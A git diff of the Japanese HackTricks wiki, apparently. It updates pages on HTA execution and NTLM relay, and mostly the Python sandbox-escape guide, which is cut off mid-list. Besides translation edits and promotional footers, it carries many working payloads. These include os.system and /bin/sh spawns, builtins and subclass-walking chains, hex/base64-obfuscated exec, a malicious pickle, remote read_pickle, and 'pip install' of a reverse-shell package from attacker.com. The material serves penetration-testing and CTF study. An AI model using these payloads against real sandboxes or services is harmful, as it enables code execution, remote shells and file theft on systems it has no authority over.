を使用して実行され、通常は **Internet Explorer と一緒にインストール** されるため、**`mshta` は IE に依存** しています。したがって、IE がアンインストールされている場合、HTA は実行できません。 +HTA は **`mshta.exe`** を使用して実行され、通常は **Internet Explorer と一緒にインストール** されるため、**`mshta` は IE に依存** しています。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。 ```html <--! Basic HTA Execution --> @@ -162,19 +162,19 @@ self.close ### NTLMリレー -ハッシュや認証情報を盗むだけでなく、**NTLMリレーアタックも実行**できることを忘れないでください: +ハッシュや認証情報だけでなく、**NTLMリレーアタックも実行**できることを忘れないでください: * [**NTLMリレーアタック**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) * [**AD CS ESC8(証明書へのNTLMリレー)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) -ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。 +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 1c3372656..b2bbd8d5d 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -1,4 +1,4 @@ -# Pythonサンドボックス脱出&Pyscript +# Python Sandbox Escape & Pyscript @@ -6,35 +6,35 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - + \ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセス: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} **チェックする興味深いページ:** -- [**Pyscriptハッキングトリック**](pyscript.md) -- [**Pythonデシリアライゼーション**](../../pentesting-web/deserialization/#python) -- [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/) -- [**基本的なPythonウェブリクエスト構文**](web-requests.md) -- [**基本的なPython構文とライブラリ**](basic-python.md) +* [**Pyscriptハッキングトリック**](pyscript.md) +* [**Pythonデシリアライゼーション**](../../pentesting-web/deserialization/#python) +* [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/) +* [**基本的なPythonウェブリクエスト構文**](web-requests.md) +* [**基本的なPython構文とライブラリ**](basic-python.md) - + \ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセス: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -44,10 +44,10 @@ HackTricksをサポートする他の方法: HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index f79363530..229e3e45c 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,4 +1,4 @@ -# Bypass Python sandboxes +# Pythonサンドボックスのバイパス @@ -6,11 +6,11 @@ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に**参加**するか、Twitter 🐦** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**を**フォロー\*\*する -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)**と**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出する** +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** @@ -22,12 +22,11 @@ HackTricksをサポートする他の方法: *** -これはPythonサンドボックス保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。 +これらはPythonサンドボックス保護をバイパスし、任意のコマンドを実行するためのトリックです。 ## コマンド実行ライブラリ -最初に知るべきことは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかです。 - +最初に知るべきことは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです。 ```python os.system("ls") os.popen("ls").read() @@ -60,7 +59,6 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` - Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. {% hint style="danger" %} @@ -69,16 +67,15 @@ Remember that the _**open**_ and _**read**_ functions can be useful to **read fi Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` -![](<../../../.gitbook/assets/image (552).png>) +![](<../../../.gitbook/assets/image (559).png>) ## デフォルトでインストールされているPythonパッケージを使用してpickleサンドボックスをバイパスする ### デフォルトのパッケージ -ここで**事前にインストールされた**パッケージのリストを見つけることができます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -pickleからは、システムにインストールされている**任意のライブラリをインポート**することができます。\ +こちらで**事前にインストールされた**パッケージのリストを見つけることができます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +pickleからは、システムにインストールされた**任意のライブラリをインポート**することができます。\ たとえば、次のpickleは、ロードされるとpipライブラリをインポートして使用します: - ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -91,7 +88,6 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` - 以下は、pickleの動作に関する詳細情報については、[https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)を参照してください。 ### Pip パッケージ @@ -99,18 +95,16 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0))) **@isHaacK** によって共有されたトリック `pip`または`pip.main()`にアクセス権がある場合、任意のパッケージをインストールし、次のように逆シェルを取得できます。 - ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` +以下のリンクから逆シェルを作成するためのパッケージをダウンロードできます。使用する前に、**それを展開し、`setup.py`を変更し、逆シェル用のIPを入力してください**: -パッケージをダウンロードしてリバースシェルを作成できます。使用する前に、**それを解凍し、`setup.py`を変更し、リバースシェル用のIPを入力してください**: - -{% file src="../../../.gitbook/assets/reverse.tar.gz" %} +{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% hint style="info" %} -このパッケージは`Reverse`と呼ばれます。ただし、リバースシェルを終了するとインストールの残りが失敗するように特別に作成されています。したがって、**サーバーに余分なPythonパッケージがインストールされることはありません**。 +このパッケージは`Reverse`と呼ばれます。ただし、逆シェルを終了するとインストールの残りが失敗するように特別に作成されています。したがって、サーバーに**余分なPythonパッケージがインストールされることはありません**。 {% endhint %} ## Pythonコードの評価 @@ -119,8 +113,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) execは複数行の文字列と";"を許可しますが、evalは許可しません(ワルラス演算子を確認してください) {% endhint %} -特定の文字が禁止されている場合は、**hex/octal/B64**表現を使用して制限を**バイパス**できます。 - +特定の文字が禁止されている場合は、**16進数/8進数/B64**表現を使用して制限を**バイパス**できます。 ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -141,9 +134,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` - -### Pythonコードを評価することを可能にする他のライブラリ - +### Pythonコードを評価する他のライブラリ ```python #Pandas import pandas as pd @@ -157,9 +148,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` - ## 演算子とショートトリック - ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -168,11 +157,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` - ## エンコーディング(UTF-7)を通じた保護のバイパス [**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)では、UFT-7が使用され、明らかなサンドボックス内で任意のPythonコードをロードおよび実行します。 - ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -183,15 +170,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` - また、他のエンコーディングを使用してバイパスすることも可能です。例:`raw_unicode_escape`および`unicode_escape`。 ## 呼び出しを使用せずにPythonを実行する -**呼び出しを行うことを許可しない**Pythonの監獄内にいる場合、**任意の関数、コード、およびコマンドを実行**するためのいくつかの方法がまだあります。 +**コールを許可しない**Pythonジェイル内にいる場合、**任意の関数、コード**、および**コマンドを実行**する方法がいくつかあります。 ### [デコレータ](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE - ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -213,15 +198,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` - ### RCEオブジェクトの作成とオーバーロード -もし、**クラスを宣言**し、そのクラスの**オブジェクトを作成**できるなら、**異なるメソッドを書き換え**て、それらを**直接呼び出す必要なしにトリガー**できます。 +もし、**クラスを宣言**し、そのクラスの**オブジェクトを作成**できるなら、**異なるメソッドを書き換え**、それらを**直接呼び出す必要なしにトリガー**できます。 #### カスタムクラスによるRCE -いくつかの**クラスメソッド**を変更して(既存のクラスメソッドを上書きするか新しいクラスを作成することで)、それらを**直接呼び出さずにトリガー**されたときに**任意のコードを実行**させることができます。 - +いくつかの**クラスメソッド**を変更することができます(既存のクラスメソッドを上書きするか、新しいクラスを作成することで)これにより、それらを**直接呼び出すことなくトリガー**された時に**任意のコードを実行**させることができます。 ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -271,11 +254,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` - #### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使用してオブジェクトを作成する -メタクラスが許可する主要なことは、**コンストラクタを直接呼び出さずに、ターゲットクラスをメタクラスとして新しいクラスを作成することで、クラスのインスタンスを作成する**ことです。 - +メタクラスが許可する主要なことは、**コンストラクタを直接呼び出さずに、ターゲットクラスをメタクラスとして持つ新しいクラスを作成することで、クラスのインスタンスを作成する**ことです。 ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -290,11 +271,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` - #### 例外を使用してオブジェクトを作成する -**例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のトリック**から)。 - +**例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のテクニックからのトリック**): ```python class RCE(Exception): def __init__(self): @@ -314,9 +293,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` - ### より多くのRCE - ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error @@ -338,9 +315,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` - ### 組み込みヘルプとライセンスを使用してファイルを読む - ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -349,28 +324,24 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` - ## 組み込み関数 * [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html) * [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html) もし **`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。 - ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` +### ビルトインなし -### 組み込み関数なし +`__builtins__` がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)**がロードされていないため**、何もインポートしたりファイルを読み書きしたりすることはできません。\ +ただし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、**中には危険な機能をインポートしているものもあり**、これらにアクセスして**任意のコードを実行**することができます。 -`__builtins__` がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたりファイルを読み書きしたりすることはできません。\ -ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な機能をインポート**しているものもあり、これらにアクセスして**任意のコードを実行**することができます。 - -以下の例では、これらの「**無害**」モジュールの一部を**悪用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。 +以下の例では、**"無害"** とされるこれらのモジュールを**乱用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。 **Python2** - ```python #Try to reload __builtins__ reload(__builtins__) @@ -391,11 +362,9 @@ import __builtin__ # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` - #### Python3 Python3をバイパスするための一般的な方法論とリソース - ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html @@ -414,19 +383,15 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` - -[**以下には、**](./#recursive-search-of-builtins-globals) **ビルトイン**を見つけることができる**場所**が**数十**/**数百**あります。 +[**以下には、より大きな関数があります**](./#recursive-search-of-builtins-globals)。ここでは、**組み込み関数**を見つけることができる**数十**/**数百の場所**があります。 #### Python2とPython3 - ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` - ### 組み込みペイロード - ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -434,11 +399,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` - ## グローバル変数とローカル変数 -\*\*`globals`**と**`locals`\*\*をチェックすることは、アクセスできるものを知る良い方法です。 - +**`globals`**と**`locals`**をチェックすることは、アクセスできるものを知る良い方法です。 ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -462,17 +425,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` - -[**以下には、より大きな関数**](./#recursive-search-of-builtins-globals)があります。ここでは、**数十**/**数百**の**場所**で**グローバル変数**を見つけることができます。 +[**以下には、より大きな関数があります**](./#recursive-search-of-builtins-globals)、**グローバル変数を見つける**ことができる**場所**が**数十**/**数百**あります。 ## 任意の実行の発見 -ここでは、簡単に**より危険な機能を発見**し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。 +ここでは、**より危険な機能を簡単に発見**し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。 #### バイパスを使用してサブクラスにアクセスする -このテクニックの最も敏感な部分の1つは、**基本のサブクラスにアクセスできること**です。前の例では、`''.__class__.__base__.__subclasses__()`を使用してこれを行いましたが、**他の可能な方法**もあります。 - +このテクニックの最も重要な部分の1つは、**基本のサブクラスにアクセスできること**です。以前の例では、`''.__class__.__base__.__subclasses__()`を使用してこれを行いましたが、**他の可能な方法**もあります。 ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -500,24 +461,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` - ### 危険なライブラリの検出 -例えば、ライブラリ\*\*`sys`**を使用して**任意のライブラリをインポート\*\*できることを知っている場合、**それらの中でsysをインポートしたすべてのモジュール**を検索できます: - +例えば、ライブラリ**`sys`**を使用して**任意のライブラリをインポート**できることを知っている場合、**それらの中でsysをインポートしているすべてのモジュール**を検索できます: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` - -多くの方法がありますが、**実行するだけでいい**ものが必要です: - +多くの方法がありますが、**コマンドを実行するために必要なのは1つだけ**です: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` - 私たちは、**他のライブラリ**を使用して同じことができます。これらのライブラリは、**コマンドを実行**するために使用できることがわかっています。 - ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -552,9 +507,7 @@ defined_func.__class__.__base__.__subclasses__() #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` - -さらに、悪意のあるライブラリをロードしているモジュールを検索することさえできます: - +さらに、悪意のあるライブラリを読み込んでいるモジュールを検索することさえできます: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -573,9 +526,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` - -さらに、他のライブラリがコマンドを実行するための関数を呼び出す可能性があると考える場合、可能なライブラリ内の関数名でフィルタリングすることもできます: - +さらに、もし他のライブラリがコマンドを実行するための関数を呼び出す可能性があると考える場合、可能なライブラリ内の関数名でフィルタリングすることもできます: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -606,14 +557,11 @@ load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: _ModuleLock、_DummyModuleLock、_ModuleLockManager、ModuleSpec、FileLoader、_NamespacePath、_NamespaceLoader、FileFinder、zipimporter、_ZipImportResourceReader、IncrementalEncoder、IncrementalDecoder、StreamReaderWriter、StreamRecoder、_wrap_close、Quitter、_Printer、DynamicClassAttribute、_GeneratorWrapper、WarningMessage、catch_warnings、Repr、partialmethod、singledispatchmethod、cached_property、_GeneratorContextManagerBase、_BaseExitStack、Completer、State、SubPattern、Tokenizer、Scanner、Untokenizer、FrameSummary、TracebackException、_IterationGuard、WeakSet、_RLock、Condition、Semaphore、Event、Barrier、Thread、CompletedProcess、Popen、finalize、_TemporaryFileCloser、_TemporaryFileWrapper、SpooledTemporaryFile、TemporaryDirectory、NullImporter、_HackedGetData、DOMBuilder、DOMInputSource、NamedNodeMap、TypeInfo、ReadOnlySequentialNamedNodeMap、ElementInfo、Template、Charset、Header、_ValueFormatter、_localized_month、_localized_day、Calendar、different_locale、AddrlistClass、_PolicyBase、BufferedSubFile、FeedParser、Parser、BytesParser、Message、HTTPConnection、SSLObject、Request、OpenerDirector、HTTPPasswordMgr、AbstractBasicAuthHandler、AbstractDigestAuthHandler、URLopener、_PaddedFile、Address、Group、HeaderRegistry、ContentManager、CompressedValue、_Feature、LogRecord、PercentStyle、Formatter、BufferingFormatter、Filter、Filterer、PlaceHolder、Manager、LoggerAdapter、_LazyDescr、_SixMetaPathImporter、Queue、_PySimpleQueue、HMAC、Timeout、Retry、HTTPConnection、MimeTypes、RequestField、RequestMethods、DeflateDecoder、GzipDecoder、MultiDecoder、ConnectionPool、CharSetProber、CodingStateMachine、CharDistributionAnalysis、JapaneseContextAnalysis、UniversalDetector、_LazyDescr、_SixMetaPathImporter、Bytecode、BlockFinder、Parameter、BoundArguments、Signature、_DeprecatedValue、_ModuleWithDeprecations、DSAParameterNumbers、DSAPublicNumbers、DSAPrivateNumbers、Obj